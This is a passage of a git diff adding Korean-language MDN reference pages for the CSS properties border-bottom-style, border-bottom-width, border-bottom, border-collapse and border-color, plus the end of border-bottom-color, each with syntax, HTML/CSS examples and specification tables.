+ &lt;p&gt;This is a box with a border around it.
+ Note which side of the box is
+ &lt;span class="redtext"&gt;red&lt;/span&gt;.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.mybox {
+ border: solid 0.3em gold;
+ border-bottom-color: red;
+ width: auto;
+}
+
+.redtext {
+ color: red;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('테두리를_가진_간단한_상자')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#border-bottom-color', 'border-bottom-color')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>No significant changes, though the <code>transparent</code> keyword, now included in {{cssxref("&lt;color&gt;")}} which has been extended, has been formally removed.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#propdef-border-bottom-color', 'border-bottom-color')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-bottom-color")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>테두리 관련 CSS 단축 속성: {{cssxref("border")}}, {{cssxref("border-bottom")}}, {{cssxref("border-color")}}.</li>
+ <li>다른 방향 테두리의 색상 관련 CSS 단축 속성: {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-left-color")}}.</li>
+ <li>아래쪽 테두리 관련 CSS 속성: {{cssxref("border-bottom-style")}}, {{cssxref("border-bottom-width")}}.</li>
+</ul>
diff --git a/files/ko/web/css/border-bottom-style/index.html b/files/ko/web/css/border-bottom-style/index.html
new file mode 100644
index 0000000000..7cbdb4d17a
--- /dev/null
+++ b/files/ko/web/css/border-bottom-style/index.html
@@ -0,0 +1,134 @@
+---
+title: border-bottom-style
+slug: Web/CSS/border-bottom-style
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/border-bottom-style
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-bottom-style</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소 테두리의 아래쪽 스타일을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-bottom-style.html")}}</div>
+
+
+
+<div class="note"><strong>참고:</strong> 명세는 서로 다른 스타일의 테두리가 꼭지점에서 만날 때 어떻게 그려야 할지는 정의하고 있지 않습니다.</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 키워드 값 */
+border-bottom-style: none;
+border-bottom-style: hidden;
+border-bottom-style: dotted;
+border-bottom-style: dashed;
+border-bottom-style: solid;
+border-bottom-style: double;
+border-bottom-style: groove;
+border-bottom-style: ridge;
+border-bottom-style: inset;
+border-bottom-style: outset;
+
+/* 전역 값 */
+border-bottom-style: inherit;
+border-bottom-style: initial;
+border-bottom-style: unset;
+</pre>
+
+<p><code>border-bottom-style</code> 속성은 {{cssxref("border-style")}} 속성에 사용할 수 있는 키워드 중 하나를 사용해 지정할 수 있습니다.</p>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;table&gt;
+ &lt;tr&gt;
+ &lt;td class="b1"&gt;none&lt;/td&gt;
+ &lt;td class="b2"&gt;hidden&lt;/td&gt;
+ &lt;td class="b3"&gt;dotted&lt;/td&gt;
+ &lt;td class="b4"&gt;dashed&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td class="b5"&gt;solid&lt;/td&gt;
+ &lt;td class="b6"&gt;double&lt;/td&gt;
+ &lt;td class="b7"&gt;groove&lt;/td&gt;
+ &lt;td class="b8"&gt;ridge&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td class="b9"&gt;inset&lt;/td&gt;
+ &lt;td class="b10"&gt;outset&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">/* Define look of the table */
+table {
+ border-width: 2px;
+ background-color: #52E385;
+}
+tr, td {
+ padding: 3px;
+}
+
+/* border-bottom-style example classes */
+.b1 {border-bottom-style: none;}
+.b2 {border-bottom-style: hidden;}
+.b3 {border-bottom-style: dotted;}
+.b4 {border-bottom-style: dashed;}
+.b5 {border-bottom-style: solid;}
+.b6 {border-bottom-style: double;}
+.b7 {border-bottom-style: groove;}
+.b8 {border-bottom-style: ridge;}
+.b9 {border-bottom-style: inset;}
+.b10 {border-bottom-style: outset;}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('예제', 300, 200)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#the-border-style', 'border-bottom-style')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>No significant change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#border-style-properties', 'border-bottom-style')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-bottom-style")}}</p>
+
+<h2 id="See_Also" name="See_Also">같이 보기</h2>
+
+<ul>
+ <li>테두리 스타일 관련 CSS 속성: {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-left-style")}}, {{cssxref("border-style")}}.</li>
+ <li>아래쪽 테두리 관련 CSS 속성: {{cssxref("border-bottom")}}, {{cssxref("border-bottom-color")}}, {{cssxref("border-bottom-width")}}.</li>
+</ul>
diff --git a/files/ko/web/css/border-bottom-width/index.html b/files/ko/web/css/border-bottom-width/index.html
new file mode 100644
index 0000000000..eaf386b9a1
--- /dev/null
+++ b/files/ko/web/css/border-bottom-width/index.html
@@ -0,0 +1,150 @@
+---
+title: border-bottom-width
+slug: Web/CSS/border-bottom-width
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+ - 'recipe:css-property'
+translation_of: Web/CSS/border-bottom-width
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>border-bottom-width</code></strong> 속성은 요소의 아래 테두리 너비를 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-bottom-width.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 키워드 값 */
+border-bottom-width: thin;
+border-bottom-width: medium;
+border-bottom-width: thick;
+
+/* &lt;length&gt; 값 */
+border-bottom-width: 10em;
+border-bottom-width: 3vmax;
+border-bottom-width: 6px;
+
+/* 전역 값 */
+border-bottom-width: inherit;
+border-bottom-width: initial;
+border-bottom-width: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;line-width&gt;</code></dt>
+ <dd>테두리의 너비입니다. 0 이상의 {{cssxref("&lt;length&gt;")}} 또는 키워드를 사용할 수 있습니다. 키워드는 다음 세 가지 중 하나여야 합니다.
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <td style="vertical-align: middle;"><code>thin</code></td>
+ <td style="vertical-align: middle;">
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-bottom-style: solid; border-bottom-width: thin; background-color: palegreen;"></div>
+ </td>
+ <td style="vertical-align: middle;">얇은 테두리</td>
+ </tr>
+ <tr>
+ <td style="vertical-align: middle;"><code>medium</code></td>
+ <td style="vertical-align: middle;">
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-bottom-style: solid; border-bottom-width: medium; background-color: palegreen;"></div>
+ </td>
+ <td style="vertical-align: middle;">중간 테두리</td>
+ </tr>
+ <tr>
+ <td style="vertical-align: middle;"><code>thick</code></td>
+ <td style="vertical-align: middle;">
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-bottom-style: solid; border-bottom-width: thick; background-color: palegreen;"></div>
+ </td>
+ <td style="vertical-align: middle;">굵은 테두리</td>
+ </tr>
+ </tbody>
+ </table>
+
+ <div class="note">
+ <p><strong>참고:</strong> 각 키워드의 굵기를 정의한 명세는 없기 때문에 결과는 구현별로 상이할 수 있습니다. 다만 굵기는 언제나 <code>thin ≤ medium ≤ thick</code>이고, 하나의 문서 내에서 동일합니다.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="아래_테두리의_너비_비교">아래 테두리의 너비 비교</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;Element 1&lt;/div&gt;
+&lt;div&gt;Element 2&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+ border: 1px solid red;
+ margin: 1em 0;
+}
+
+div:nth-child(1) {
+ border-bottom-width: thick;
+}
+div:nth-child(2) {
+ border-bottom-width: 2em;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('아래_테두리의_너비_비교', '100%')}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-bottom-width')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>No significant change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-bottom-width')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>No significant change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#border-left-width', 'border-bottom-width')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-bottom-width")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>테두리 너비 관련 CSS 속성: {{Cssxref("border-left-width")}}, {{Cssxref("border-right-width")}}, {{Cssxref("border-top-width")}}, and {{Cssxref("border-width")}}.</li>
+ <li>아래 테두리 관련 CSS 속성: {{Cssxref("border")}}, {{Cssxref("border-bottom")}}, {{Cssxref("border-bottom-style")}}, and {{Cssxref("border-bottom-color")}}.</li>
+</ul>
diff --git a/files/ko/web/css/border-bottom/index.html b/files/ko/web/css/border-bottom/index.html
new file mode 100644
index 0000000000..fc203bb67b
--- /dev/null
+++ b/files/ko/web/css/border-bottom/index.html
@@ -0,0 +1,109 @@
+---
+title: border-bottom
+slug: Web/CSS/border-bottom
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+ - 테두리
+translation_of: Web/CSS/border-bottom
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>border-bottom</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 요소의 아래쪽 테두리를 설정합니다.</span> {{cssxref("border-bottom-width")}}, {{cssxref("border-bottom-style")}}, {{cssxref("border-bottom-color")}}의 값을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-bottom.html")}}</div>
+
+
+
+<p>다른 단축 속성과 마찬가지로, <code>border-bottom</code>는 자신이 포함한 모든 값을 지정하며 사용자가 명시하지 않은 속성도 기본값으로 설정합니다. 즉, 아래 두 코드는 사실 동일합니다.</p>
+
+<pre class="brush: css">border-bottom-style: dotted;
+border-bottom: thick green;
+</pre>
+
+<pre class="brush: css">border-bottom-style: dotted;
+border-bottom: none thick green;
+</pre>
+
+<p>따라서 <code>border-bottom</code>보다 먼저 지정한 {{cssxref("border-bottom-style")}}의 값은 무시됩니다. {{cssxref("border-bottom-style")}}의 기본값은 <code>none</code>이므로, <code>border-style</code>을 명시하지 않으면 테두리를 만들지 않습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers">border-bottom: 1px;
+border-bottom: 2px dotted;
+border-bottom: medium dashed green;
+</pre>
+
+<p><code>border-bottom</code>은 한 개에서 세 개의 값을 사용해 지정할 수 있고, 순서는 상관하지 않습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;br-width&gt;</code></dt>
+ <dd>{{cssxref("border-bottom-width")}}.</dd>
+ <dt><code>&lt;br-style&gt;</code></dt>
+ <dd>{{cssxref("border-bottom-style")}}.</dd>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>{{cssxref("border-bottom-color")}}.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;div&gt;
+ 아래쪽 테두리를 가진 요소입니다.
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">div {
+ border-bottom: 4px dashed blue;
+ background-color: gold;
+ height: 100px;
+ width: 100px;
+ font-weight: bold;
+ text-align: center;
+}
+</pre>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#border-bottom', 'border-bottom')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>No direct changes, though the modification of values for the {{cssxref("border-bottom-color")}} do apply to it.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#propdef-border-bottom', 'border-bottom')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>No significant changes.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#border-bottom', 'border-bottom')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("css.properties.border-bottom")}}</p>
diff --git a/files/ko/web/css/border-collapse/index.html b/files/ko/web/css/border-collapse/index.html
new file mode 100644
index 0000000000..8f024cf916
--- /dev/null
+++ b/files/ko/web/css/border-collapse/index.html
@@ -0,0 +1,148 @@
+---
+title: border-collapse
+slug: Web/CSS/border-collapse
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - CSS Tables
+ - Reference
+translation_of: Web/CSS/border-collapse
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-collapse</code></strong> CSS 속성은 표 테두리(border)가 분리(separated) 또는 상쇄(collapsed)될 지를 결정합니다. 분리 모델에서는, 인접한 셀은 각각 자신의 고유(distinct) 테두리가 있습니다. 상쇄 모델에서는, 인접한 표 셀은 테두리를 공유합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-collapse.html")}}</div>
+
+
+
+<p>분리(<em>separated</em>) 모델은 HTML 표 테두리 전통 모델입니다. 인접 셀은 각각 자신의 고유 테두리가 있습니다. 그 사이의 간격은 {{ Cssxref("border-spacing") }} 속성에 의해 주어집니다.</p>
+
+<p>상쇄(<em>collapsed</em>) 테두리 모델에서는, 인접 표 셀은 테두리를 공유합니다. 그 모델에서는, <code>inset</code>의 {{ Cssxref("border-style") }} 값은 <code>groove</code>처럼, <code>outset</code>은 <code>ridge</code>처럼 행동합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css">/* Keyword values */
+border-collapse: collapse;
+border-collapse: separate;
+
+/* Global values */
+border-collapse: inherit;
+border-collapse: initial;
+border-collapse: unset;</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>separate</code></dt>
+ <dd>분리된 테두리 표 렌더링 모델의 사용을 요청하는 키워드입니다. 기본값입니다.</dd>
+ <dt><code>collapse</code></dt>
+ <dd>상쇄된 테두리 표 렌더링 모델의 사용을 요청하는 키워드입니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="A_colorful_table_of_browser_engines" name="A_colorful_table_of_browser_engines">브라우저 엔진의 다색 표</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;table class="separate"&gt;
+  &lt;caption&gt;&lt;code&gt;border-collapse: separate&lt;/code&gt;&lt;/caption&gt;
+  &lt;tbody&gt;
+  &lt;tr&gt;&lt;th&gt;Browser&lt;/th&gt; &lt;th&gt;Layout Engine&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;&lt;td class="fx"&gt;Firefox&lt;/td&gt; &lt;td class="gk"&gt;Gecko&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;&lt;td class="ie"&gt;Internet Explorer&lt;/td&gt; &lt;td class="tr"&gt;Trident&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;&lt;td class="sa"&gt;Safari&lt;/td&gt; &lt;td class="wk"&gt;Webkit&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;&lt;td class="ch"&gt;Chrome&lt;/td&gt; &lt;td class="bk"&gt;Blink&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;&lt;td class="op"&gt;Opera&lt;/td&gt; &lt;td class="bk"&gt;Blink&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+&lt;table class="collapse"&gt;
+  &lt;caption&gt;&lt;code&gt;border-collapse: collapse&lt;/code&gt;&lt;/caption&gt;
+  &lt;tbody&gt;
+  &lt;tr&gt;&lt;th&gt;Browser&lt;/th&gt; &lt;th&gt;Layout Engine&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;&lt;td class="fx"&gt;Firefox&lt;/td&gt; &lt;td class="gk"&gt;Gecko&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;&lt;td class="ie"&gt;Internet Explorer&lt;/td&gt; &lt;td class="tr"&gt;Trident&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;&lt;td class="sa"&gt;Safari&lt;/td&gt; &lt;td class="wk"&gt;Webkit&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;&lt;td class="ch"&gt;Chrome&lt;/td&gt; &lt;td class="bk"&gt;Blink&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;&lt;td class="op"&gt;Opera&lt;/td&gt; &lt;td class="bk"&gt;Blink&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.collapse {
+    border-collapse: collapse;
+}
+.separate {
+    border-collapse: separate;
+}
+table {
+    display: inline-table;
+    margin: 1em;
+    border: dashed 6px;
+    border-width: 6px;
+}
+table th, table td {
+    border: solid 3px;
+}
+.fx { border-color: orange blue; }
+.gk { border-color: black red; }
+.ie { border-color: blue gold; }
+.tr { border-color: aqua; }
+.sa { border-color: silver blue; }
+.wk { border-color: gold blue; }
+.ch { border-color: red yellow green blue; }
+.bk { border-color: navy blue teal aqua; }
+.op { border-color: red; }</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('A_colorful_table_of_browser_engines', 400, 300) }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'tables.html#borders', 'border-collapse') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("css.properties.border-collapse")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("border-spacing")}}, {{cssxref("border-style")}}</li>
+ <li>The <code>border-collapse</code> property alters the appearance of the {{htmlelement("table")}} HTML element.</li>
+</ul>
diff --git a/files/ko/web/css/border-color/index.html b/files/ko/web/css/border-color/index.html
new file mode 100644
index 0000000000..4d5ab51a4c
--- /dev/null
+++ b/files/ko/web/css/border-color/index.html
@@ -0,0 +1,184 @@
+---
+title: border-color
+slug: Web/CSS/border-color
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/border-color
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>border-color</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 모든 면의 테두리 색상을 설정합니다.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-color.html")}}</div>
+
+
+
+<p>각 면 테두리의 색상은 {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}}, {{cssxref("border-left-color")}}를 사용해 정할 수 있습니다. 아니면 쓰기 방향에 따라 달라지는 속성인 {{cssxref("border-block-start-color")}}, {{cssxref("border-block-end-color")}}, {{cssxref("border-inline-start-color")}}, {{cssxref("border-inline-end-color")}}을 사용할 수도 있습니다.</p>
+
+<p>테두리 색상에 대해 더 알아보려면 <a href="/ko/docs/Web/HTML/Applying_color#테두리">CSS로 HTML 요소에 색 입히기</a> 문서를 참고하세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;color&gt; 값 */
+border-color: red;
+
+/* 세로방향 | 가로방향 */
+border-color: red #f015ca;
+
+/* 위 | 가로방향 | 아래 */
+border-color: red rgb(240,30,50,.7) green;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+border-color: red yellow green blue;
+
+/* 전역 값 */
+border-color: inherit;
+border-color: initial;
+border-color: unset;
+</pre>
+
+<p><code>border-color</code> 속성은 한 개에서 네 개의 값을 사용해서 지정할 수 있습니다.</p>
+
+<ul>
+ <li><strong>한 개</strong>의 값을 사용하면 모든 네 면에 동일한 색상을 적용합니다.</li>
+ <li><strong>두 개</strong>의 값을 사용하면 첫 번째 값이 위아래, 두 번째 값이 좌우의 색상을 맡습니다.</li>
+ <li><strong>세 개</strong>의 값을 사용하면 첫 번째 값이 위, 두 번째 값이 좌우, 세 번째 값이 아래의 색상을 맡습니다.</li>
+ <li><strong>네 개</strong>의 값을 사용하면 각각 순서대로 위, 오른쪽, 아래, 왼쪽(시계방향) 순서로 색상을 적용합니다.</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>테두리의 색상.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="border-color의_모든_사용법"><code>border-color</code>의 모든 사용법</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div id="justone"&gt;
+ &lt;p&gt;&lt;code&gt;border-color: red;&lt;/code&gt;는 아래와 같습니다.&lt;/p&gt;
+ &lt;ul&gt;&lt;li&gt;&lt;code&gt;border-top-color: red;&lt;/code&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;code&gt;border-right-color: red;&lt;/code&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;code&gt;border-bottom-color: red;&lt;/code&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;code&gt;border-left-color: red;&lt;/code&gt;&lt;/li&gt;
+ &lt;/ul&gt;
+&lt;/div&gt;
+&lt;div id="horzvert"&gt;
+ &lt;p&gt;&lt;code&gt;border-color: gold red;&lt;/code&gt;는 아래와 같습니다.&lt;/p&gt;
+ &lt;ul&gt;&lt;li&gt;&lt;code&gt;border-top-color: gold;&lt;/code&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;code&gt;border-right-color: red;&lt;/code&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;code&gt;border-bottom-color: gold;&lt;/code&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;code&gt;border-left-color: red;&lt;/code&gt;&lt;/li&gt;
+ &lt;/ul&gt;
+&lt;/div&gt;
+&lt;div id="topvertbott"&gt;
+ &lt;p&gt;&lt;code&gt;border-color: red cyan gold;&lt;/code&gt;는 아래와 같습니다.&lt;/p&gt;
+ &lt;ul&gt;&lt;li&gt;&lt;code&gt;border-top-color: red;&lt;/code&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;code&gt;border-right-color: cyan;&lt;/code&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;code&gt;border-bottom-color: gold;&lt;/code&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;code&gt;border-left-color: cyan;&lt;/code&gt;&lt;/li&gt;
+ &lt;/ul&gt;
+&lt;/div&gt;
+&lt;div id="trbl"&gt;
+ &lt;p&gt;&lt;code&gt;border-color: red cyan black gold;&lt;/code&gt;는 아래와 같습니다.&lt;/p&gt;
+ &lt;ul&gt;&lt;li&gt;&lt;code&gt;border-top-color: red;&lt;/code&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;code&gt;border-right-color: cyan;&lt;/code&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;code&gt;border-bottom-color: black;&lt;/code&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;code&gt;border-left-color: gold;&lt;/code&gt;&lt;/li&gt;
+ &lt;/ul&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">#justone {
+ border-color: red;
+}
+
+#horzvert {
+ border-color: gold red;
+}
+
+#topvertbott {
+ border-color: red cyan gold;
+}
+
+#trbl {
+ border-color: red cyan black gold;
+}
+
+/* Set width and style for all divs */
+div {
+ border: solid 0.3em;
+ width: auto;
+ margin: 0.5em;
+ padding: 0.5em;
+}
+
+ul {
+ margin: 0;
+ list-style: none;
+}
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('border-color의_모든_사용법', 600, 300)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#border-color', 'border-color')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>The <code>transparent</code> keyword has been removed as it is now a part of the {{cssxref("&lt;color&gt;")}} data type.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#border-color-properties', 'border-color')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>The property is now a shorthand property.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#border-color', 'border-color')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-color")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>테두리 색상 관련 CSS 속성: {{Cssxref("border")}}, {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}}, {{cssxref("border-left-color")}}</li>
+ <li>다른 테두리 관련 CSS 속성: {{Cssxref("border-width")}}, {{Cssxref("border-style")}}</li>
+ <li>{{cssxref("&lt;color&gt;")}} 자료형</li>
+ <li>다른 색상 관련 속성: {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}}, {{cssxref("column-rule-color")}}</li>
